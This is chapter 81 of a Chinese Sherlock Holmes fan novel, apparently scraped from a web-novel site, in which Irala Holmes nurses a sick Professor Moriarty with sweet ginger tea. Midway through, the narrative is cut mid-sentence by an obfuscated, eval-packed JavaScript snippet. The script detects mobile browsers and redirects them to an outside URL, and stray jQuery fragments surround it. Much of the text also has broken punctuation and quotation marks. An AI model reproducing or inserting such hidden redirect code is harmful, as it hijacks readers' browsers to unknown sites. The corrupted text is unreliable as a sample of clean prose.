第81章 一杯甜姜茶。

作品:《福尔摩斯小妹

    邮差自然不会替莫里亚蒂拂了伊拉拉的好意。


    而他报出詹姆斯·莫里亚蒂的住址后,伊拉拉却是讶然侧头:他同样住在布鲁姆斯伯里区。


    好吧,身为大学教授,住在知识分子的**地无可厚非。


    只是《福尔摩斯探案集》中的反派BOSS,和歇洛克·福尔摩斯的上一所公寓只有几个街区之遥,倒是有些戏剧化了。


    不过,莫里亚蒂教授可不是歇洛克,做不出让房东气急败坏赶出去的事情来。


    伊拉拉拦了辆马车,按照地址直奔市中心。


    她找到公寓上楼,敲响正门,片刻过后,门开了。


    落入眼帘的首先是只穿着衬衣的詹姆斯·莫里亚蒂本人,以及他身后肉眼可见整齐干净的客厅。


    “日安,詹姆斯。”伊拉拉笑眯眯开口,全然不像是不请自来。


    而触及到伊拉拉的身影,莫里亚蒂蓦然愣住。


    “伊拉拉?!”


    上次见到莫里亚蒂教授如此慌乱错愕的模样,还是他丢了眼镜的时候。


    那张清隽的面孔浮现出几分迷茫,接着紧张就填满了他镜架之后的蓝眼。莫里亚蒂下意识地扶了扶镜框,红晕很快渗出白皙的面皮。


    教授看上去非常尴尬,他手都不知道该往哪里放了:“你怎么……该死,是邮差告诉了你地址。我还以为是房东太太到访。”


    谁也不想让异性看到自己刚刚起床的模样!更遑论是有好感的异性。


    伊拉拉却是无所谓地扬起笑容:“不请我进去吗?还是说我来的不是时候。”


    她一切如常,莫里亚蒂这才稳住心神。


    “抱歉,我只是有些意外,”教授收敛情绪,退后半步让开门口,“请进,伊拉拉。”


    人比人,气**,同样是单身汉,莫里亚蒂的公寓看着让人舒心太多。


    只是堂堂詹姆斯·莫里亚蒂,居然与伦敦的所有知识分子一样,住在一室一厅的市中心公寓,而非什么神秘庄园或者奢华城堡里。


    出乎意料,却也在情理之中。


    公寓客厅倒是和歇洛克的房间一样拥挤,不过同样是杂物堆砌,莫里亚蒂教授的杂物却很有条理。满地都是书,数个书架塞不下的书籍被莫里亚蒂分门别类、甚至按照颜色和装帧一摞一摞放在地面。


    伊拉拉像是走进了图书馆的某个书库一角,而非莫里亚蒂的家。


    但教授


    本人则是生活气息十足。


    他跟着伊拉拉步入客厅中央,这还是伊拉拉第一次见到他不穿任何马甲外套的模样。詹姆斯·莫里亚蒂刚刚从床榻起身,头发散乱着……后脑勺还还有一绺翘在半空呢,白衬衣也因为仓促躺下而皱巴巴的,甚至没系第一颗纽扣,露出修长脖颈和明晰的锁骨。


    尴尬过后,莫里亚蒂的面容恢复了正常,也展现出病态的苍白,双眼之下更是带着淡淡乌青。


    真稀罕,还能见到未来大魔王这般憔悴的状态。伊拉拉决定把他现在的样子好好记在心里——恐怕日后见到的机会就越来越少啦。


    “请坐,伊拉拉,莫里亚蒂温声开口,“请原谅我照顾不周,实在是没想到你会直接上门,我去给你煮茶。


    “哪里有让病号煮茶的?


    伊拉拉忍俊不禁,“你还是躺回床上吧。


    肉眼可见他是真的病了,而非和达西先生一样装的。


    而伊拉拉的话,却让莫里亚蒂镜架之后的蓝眼流露出比刚才更为清晰的窘迫。


    “伊拉拉,他清了清带着几分沙哑的嗓子,“很感谢你上门关心,我本不打算通知你的,因为……


    “因为之前达西先生当着咱们的面,给伊丽莎白表演过?伊拉拉接道。


    “……


    莫里亚蒂立刻闭嘴。


    他谨慎地看向伊拉拉,见她眼中没有揶揄调侃,只是单纯的叙述事实后,教授才缓缓松了口气。


    伊拉拉当然能看出来莫里亚蒂是真的病了!伦敦的空气条件不比德比郡,这日日重度污染,淋雨之后感冒不适再正常不过。否则的话,迈克罗夫特何必一见到伊拉拉变成落汤鸡就这么着急?


    她莞尔:“别小看我的观察力,躺着休息去。我来煮茶。


    莫里亚蒂还在坚持:“没有让客人动手的道理。


    “我是客人,嗯?伊拉拉反问。


    见她非笑似笑的神情,莫里亚蒂只好作罢。


    很难说服伊拉拉不去做某件事,何况……一句简单反问中隐含的意思,让莫里亚蒂很是受用。


    客人才需要招待,不需要招待的自然是自己人。


    莫里亚蒂笑了笑,“那我很期待你的手艺,伊拉拉。


    煮个茶而已!如今她一人在皮博迪住宅区居住,照料自己的饮食起居绰绰有余。


    伊拉拉走进厨房,室内依旧干净,甚至能看出来莫里亚蒂不常开火,除


    却烧水壶其他的厨具几乎没怎么用过。


    翻找出茶叶、白砂糖和茶壶伊拉拉又找了一圈。


    没找到任何食材她干脆离开公寓找到了房东购买姜片。


    这栋公寓的房东是名四十岁左右的夫人而莫里亚蒂教授也比歇洛克更善于维护邻里关系。房东夫人一听说教授淋雨感冒二话不说就拿了一小袋姜片送给伊拉拉。


    要知道生姜原产地是亚洲即使十九世纪的英国人已经将其作为香料和调味品价格也远甚于百余年后。


    这一小袋姜值不少钱呢足以可见莫里亚蒂教授的人缘有多好。


    拿回姜片和红茶一并丢进烧水壶里这此伊拉拉难得更改习惯加入了大量白砂糖——


    英国人不习惯吃红糖但白砂糖就是经过提纯和去除杂质后的红糖本质没什么区别。


    没什么比滚烫还高热量的甜姜茶更能驱寒了。伊拉拉将煮好的茶端到卧室。


    莫里亚蒂的卧室里也堆满了书柜和书。


    就算是大学教授他的藏书也太多了多到伊拉拉不禁咋舌。


    这个年代的书籍可是很贵的更遑论伊拉拉飞快扫一眼就在他的书柜中瞥见不少珍本古籍估计随便一本都价值连城。


    这满屋子的书也不比彭伯里庄园的藏书和古董逊色多少。


    伊拉拉将茶壶和茶杯放到床头柜她拉过椅子坐在了床边。


    莫里亚蒂似乎比他表现出的状态更差就伊拉拉出门借姜片、回来煮茶的功夫他就重新睡了过去。听到椅子响动才勉强睁开眼。


    “……抱歉。”


    教授的声音中还带着惺忪睡意“昨日一直在咳没能睡好。”


    伊拉拉无所谓地耸了耸肩。


    感冒就是不严重却很是叨扰人啦。只是咳嗽已经算是轻的。


    “起来把茶喝了”伊拉拉说“时间太紧就放了姜片否则还能买点草药。”


    “谢谢你伊拉拉。”


    莫里亚蒂再次勉强起身靠在床头接过了茶杯。


    他送到嘴边抿了一口热乎乎的茶水入腹小教授阖了阖眼肉眼可见地舒了口气。


    “不管怎么说也太过失礼了”莫里亚蒂无奈笑道“还得劳烦你亲自煮茶。”


    伊拉拉轻哼一声同样将热茶送入口中。


    虽然她不爱喝甜的但煮了姜片的红茶带着一股热辣暖意滚进胃里


    环境中真是让人舒坦。


    “当我还礼吧,她无所谓道,“你借给我的雨伞可是及时救了我和海伦娜的命。


    “是送给你的。


    莫里亚蒂认真纠正,“委托人特地打造,方便也安全。实际上,它还有其他功能,不过我认为交给你自行研究,也许更有乐趣。


    那一把伞可是有七八斤,真的方便吗?伊拉拉不禁心中嘀咕。


    不过,这伞确实掩人耳目。


    日常拎出去是不可能的,但像昨天那样明知有危险,拿过去防身再合适不过。


    “那我就不客气了。伊拉拉笑道,“谢谢你的伞。


    莫里亚蒂也跟着勾起嘴角。


    他捧着茶杯、靠在床头上,额前散落的黑发半遮剔透蓝眼。在苍白憔悴的脸色衬托下,那双眼睛恨不得要比往日更蓝,好似玻璃做的般,伊拉拉要是一个不注意,就能掉到地上摔个粉碎。


    “我的理论果然是对的。伊拉拉冷不丁开口。


    “什么?


    伊拉拉没再开口。


    当然是适当卖惨有助于增进好感啦!莫里亚蒂一脸病容,看上去脆弱又难捱,真是可爱。


    那双蓝眼在伊拉拉脸上转了好几圈,也不能确定她完美笑容之下的灵魂在思索什么。莫里亚蒂似是不安地攥紧了茶杯,叹了口气。


    “我向你道歉,伊拉拉,他郑重出言,“雨伞本也是赔礼之一。


    “你道什么歉?伊拉拉侧了侧头。


    “关于我对爱玛的发言,他说,“在赌场外,你很明显生气了。


    “嗯。


    旧事重提,伊拉拉毫不掩饰自己的想法。她很坦荡:“我不喜欢你说的那些话。


    莫里亚蒂点了点头。


    “我反思了自己,教授真诚出言,“把任何人视作工具都是极其没有人性的行为,这是不对的,你不喜欢,情有可原。


    他又抿了口茶,放缓沙哑声线,继续开口。


    “所以我不止要向你道歉,也对爱玛做出了弥补,莫里亚蒂说,“给了她二十英镑,也吩咐玛丽安娜好生照顾。只是看昨天的情况,她们二人也不是安全,得——


    “行了。


    伊拉拉轻声打断了莫里亚蒂的汇报工作。


    知晓不对就不做了吗?


    若是他真心这么想,压根就不会把眼球吊坠放到梅里顿的当铺里。知道是一回事,而同理心这种东西,没有就是没有,求也求


    不来。


    爸爸说得很对,一心做大事的人就是会忽略身边的活人。


    不过,伊拉拉生气归生气,也没对莫里亚蒂心生厌恶——他就是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16159693|180598||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这种人,要厌恶早就厌恶了。


    伊拉拉也没心情听他毫无愧疚的忏悔。


    做了弥补就好,今后或许詹姆斯·莫里亚蒂会愧对很多人,但至少他没愧对于爱玛。


    “今天不想听这个,她干脆利落地说,“好不容易换来片刻安宁,享受一下不好么?


    “也是。


    莫里亚蒂自觉收起话题。


    他端详着伊拉拉,清秀面孔近乎乖顺:“除却在彭伯里庄园时,你我之间的交谈,没有不涉及案件委托的。


    “因为谁都停不下来。伊拉拉莞尔,“你是工作狂,可别埋怨我。


    “你不也一样?莫里亚蒂的神情越发温和,“希望今后你想起我时,不是赌场外的警告,而是今日一起喝茶的场景。


    “也可能是你在地下水道被我打一拳的场景,伊拉拉眨了眨眼,“其实你不戴眼镜的样子更好看,詹姆斯。


    “……


    回想起伊拉拉在地下水道时毫不留情的一拳,和之后近乎荒唐的将泰晤士河水炸上天,莫里亚蒂到底是没绷住表情。


    他似乎是打算展现出被冒犯的姿态,但忍了半天,还是没能忍耐住笑意。


    小教授的笑声在卧室回荡,沙哑的嗓音不复往日清朗,却也悠扬。


    直至他笑着笑着,又是咳嗽了几声才强迫自己停下来。


    “很荣幸你能喜欢我的脸——这还是我第一次被人如此称赞,蓝眼睛里闪过狡黠之色,“我倒是没想到,自己还能有以色侍人的一天。


    毕竟詹姆斯·莫里亚蒂年少英才,他才多大,就已经获得了大学教授的职位。


    长得再好看,人们也会称赞他的才智和学识。生怕多看两眼教授的长相都会被人指责是肤浅。


    但聪明和好看也不冲突嘛!


    何况伊拉拉全家都是聪明人,不稀罕了,所以多看两眼好看的,她理直气壮。


    “但你我完全可以制造全新的回忆,莫里亚蒂说,“而非记住臭气熏天的那一晚。我可不想自己的模样在你的记忆里,与泰晤士河水联系起来。


    好吧,说得有理。


    冲突冒险固然刺激,莫里亚蒂的容颜也是秀色可餐,但增添上水质堪忧的泰晤士河,记忆确实不太美妙了。


    制造全新回忆是吧?说干就干。


    二人打趣之间茶杯中的姜茶已然见了底。


    伊拉拉接过莫里亚蒂喝空了的杯子杯底放置在桌面发出轻轻声响。


    而后她微微俯身拉近了距离。


    当伊拉拉的呼吸吹拂到莫里亚蒂的脸侧时


    离得太近了以至于伊拉拉的动作几近亲吻——


    然后她抬起了手。


    被姜茶温暖了的柔软掌心轻轻地放到了莫里亚蒂的额头。


    简短的碰触似是安抚似是亲密也似是赠予最真挚的祝福。


    “睡吧”伊拉拉展现出了罕见地温柔“你需要休息詹姆斯。我上午没事会在这里陪同你的。”


    …………


    ……


    几个小时后。


    邮差完成了一天的工作回想起早上伊拉拉·福尔摩斯的关心到底是对莫里亚蒂教授不太放心。


    虽说为教授工作只是兼职但他对待属下和颜悦色又出手不菲。比起雇佣关系邮差自诩更接近朋友。


    他思来想去还是骑车绕了个圈来到了莫里亚蒂的公寓。


    走上楼时邮差发现公寓的房门居然没关紧出于担忧他迟疑片刻选择推门而入。


    站在客厅边沿视线看向卧室敞开的房门时邮差蓦然停住步伐——


    福尔摩斯小姐也在。


    詹姆斯·莫里亚蒂教授还躺在床上却不像是早晨那般疯狂咳嗽了。他终于沉沉睡了过去邮差只能看到青年祥和的侧脸。


    而伊拉拉·福尔摩斯就坐在床边的扶手椅上用手肘撑着下颌同样合拢着双眼。


    连续几天阴雨后伦敦终于放晴几缕日光穿过窗子倾洒在卧室地面同样投射在休息的二人之间。


    相隔很远却因为这抹日光两个人又似乎联系起来呈现出亲密画面。


    邮差几乎不忍心打扰这祥和的场景了他退后几步准备先行离开。


    反正问候教授什么时候都可以!


    只是他离开的脚步惊醒了伊拉拉坐在椅子上、穿着长裤的小姐猛然苏醒她警惕地扭过头触及到邮差狼狈的目光时反而坦率地笑了起来。


    明明是邮差撞破了二人私下相处的时光可伊拉拉却非常坦荡。


    她对着邮差举起食指轻轻“嘘”了一声。


    邮差理解点头然后又像是想起什么一样从包裹中拿出一封信蹑手蹑脚地走进卧室递了过去。


    而后他按了按帽檐算作沉默招呼才带着笑意离开。


    伊拉拉接过信件定睛一看。


    信封上的落款是乔治安娜·达西。


    享受片刻安宁固然重要伊拉拉心想但离开之后也是时候推进下一步了。